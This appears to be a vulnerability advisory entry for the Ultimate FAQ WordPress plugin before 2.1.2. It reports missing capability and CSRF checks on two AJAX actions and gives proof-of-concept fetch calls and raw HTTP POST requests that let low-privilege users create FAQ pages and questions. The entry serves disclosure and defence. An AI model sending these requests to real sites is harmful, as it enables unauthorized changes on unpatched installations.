Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:F0A9E6CC-46CC-4AC2-927A-C006B8E8AA68
HistoryDec 27, 2021 - 12:00 a.m.

Ultimate FAQ < 2.1.2 - Subscriber+ Arbitrary FAQ Creation

2021-12-2700:00:00
Krzysztof Zając
79
ultimate faq version 2.1.2
subscriber+
arbitrary faq creation
admin-ajax.php
form post
cookie-based authentication
faq page creation
faq question creation

EPSS

0.001

Percentile

21.4%

The plugin does not have capability and CSRF checks in the ewd_ufaq_welcome_add_faq and ewd_ufaq_welcome_add_faq_page AJAX actions, available to any authenticated users. As a result, any users, with a role as low as Subscriber could create FAQ and FAQ questions

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"ewd_ufaq_welcome_add_faq_page", "faq_page_title": "hello"}),
  "method": "POST",
  "credentials": "include"
});

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close
Cookie: [any authenticated user]

action=ewd_ufaq_welcome_add_faq_page&faq_page_title=hello

The FAQ will be created as a page (/wp-admin/edit.php?post_type=page&orderby=date&order=desc)


fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"ewd_ufaq_welcome_add_faq", "faq_question": "Have you ever heard the wolf cry to the blue corn moon?", "faq_answer": "Yes"}),
  "method": "POST",
  "credentials": "include"
});

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 117
Connection: close
Cookie: [any authenticated user]

action=ewd_ufaq_welcome_add_faq&faq_question=Have+you+ever+heard+the+wolf+cry+to+the+blue+corn+moon%3F&faq_answer=Yes

EPSS

0.001

Percentile

21.4%

Related for WPEX-ID:F0A9E6CC-46CC-4AC2-927A-C006B8E8AA68